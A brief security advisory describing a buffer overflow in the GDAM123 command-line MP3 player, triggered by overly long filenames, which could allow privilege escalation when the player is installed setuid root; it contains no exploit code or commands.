The GDAM123 command-line MP3 player is prone to a buffer overflow condition when handling overly long filenames. Under some circumstances, the player may be installed setuid root to allow unprivileged users to run the player if access to certain devices is required. In a situation such as this, the buffer overflow may be exploited to gain elevated privileges via the execution of arbitrary code.
